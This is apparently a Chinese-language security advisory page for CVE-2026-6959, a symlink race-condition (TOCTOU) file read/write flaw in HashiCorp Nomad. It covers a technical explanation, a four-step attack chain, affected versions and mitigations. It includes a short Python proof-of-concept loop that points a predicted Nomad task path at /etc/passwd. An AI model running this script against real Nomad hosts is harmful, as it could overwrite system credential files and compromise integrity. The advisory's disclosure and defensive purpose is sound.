IPBUF安全漏洞报告
English
CVE-2026-6959 CVSS 6.0 中危

CVE-2026-6959 HashiCorp Nomad 任意文件读写漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-6959
漏洞类型
符号链接攻击
CVSS评分
6.0 中危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
HashiCorp Nomad, Nomad Enterprise

相关标签

NomadSymlinkArbitrary File WriteTOCTOUHashiCorpLocal Attack

漏洞概述

HashiCorp Nomad 及 Nomad Enterprise 2.0.1 之前的版本存在安全漏洞。攻击者可利用符号链接攻击,在客户端主机上以 Nomad 进程用户的身份实现任意文件的读取与写入。该漏洞源于 Nomad 在处理文件时未正确验证路径,利用了竞态条件,可能破坏系统完整性。攻击者需具备本地高权限才能利用此漏洞。建议用户尽快升级至安全版本以修复此问题。

技术细节

该漏洞原理在于 Nomad 客户端在处理任务分配的文件操作(如创建任务目录、写入日志或下载 artifacts)时,未能正确防范符号链接竞态条件(TOCTOU)。攻击者若具备本地高权限(PR:H),可预测或监控 Nomad 的文件操作路径,并在此路径上创建指向系统敏感文件的符号链接。当 Nomad 进程(通常运行在 root 或特定服务账户下)尝试写入或读取该路径时,会跟随符号链接直接操作目标文件。由于 Nomad 进程通常对宿主机文件系统拥有较高的读写权限,这种跟随行为可能导致攻击者覆盖关键系统配置文件(如 /etc/passwd 或 ssh 配置)或读取敏感数据。这种破坏主要影响系统完整性(I:H),可能导致拒绝服务或权限提升。

攻击链分析

STEP 1
步骤1:本地访问
攻击者需要在客户端主机上拥有高权限访问能力(PR:H),能够提交任务或操作文件系统。
STEP 2
步骤2:创建符号链接
攻击者预测 Nomad 将要操作的文件路径,并在该位置创建指向敏感文件(如 /etc/passwd)的符号链接。
STEP 3
步骤3:触发竞态条件
等待 Nomad 执行常规任务分配或文件操作。Nomad 进程在检查路径和实际操作之间的时间窗口内,攻击者替换文件为符号链接。
STEP 4
步骤4:执行任意读写
Nomad 进程跟随符号链接,将原本用于任务的数据写入敏感文件,或读取敏感文件内容,导致系统完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import time # PoC for CVE-2026-6959: Symlink Attack in HashiCorp Nomad # This script demonstrates the concept of a race condition exploit. # It attempts to trick a process into writing to a sensitive file via a symlink. TARGET_FILE = "/etc/passwd" # The file we want to overwrite NOMAD_TASK_DIR = "/tmp/nomad/task_dir/artifact" # Expected path Nomad writes to print("[*] Starting Symlink Attack Simulation...") print(f"[*] Targeting: {TARGET_FILE}") while True: try: # Remove existing link or directory if present if os.path.islink(NOMAD_TASK_DIR): os.unlink(NOMAD_TASK_DIR) elif os.path.exists(NOMAD_TASK_DIR): os.rmdir(NOMAD_TASK_DIR) # Create the symlink pointing to the target file os.symlink(TARGET_FILE, NOMAD_TASK_DIR) print(f"[+] Symlink created: {NOMAD_TASK_DIR} -> {TARGET_FILE}") # Wait for the Nomad process to perform the write operation # In a real exploit, this would be synchronized with the task allocation time.sleep(0.1) except KeyboardInterrupt: print("[!] Stopping attack.") break except Exception as e: print(f"[-] Error: {e}")

影响范围

HashiCorp Nomad < 2.0.1
HashiCorp Nomad < 1.11.5
HashiCorp Nomad < 1.10.11

防御指南

临时缓解措施
限制对 Nomad 客户端节点的本地访问权限,确保只有受信任的管理员能够提交作业。在无法立即升级的情况下,严格监控文件系统是否存在异常的符号链接创建行为,并检查 Nomad 任务目录的权限配置。

参考链接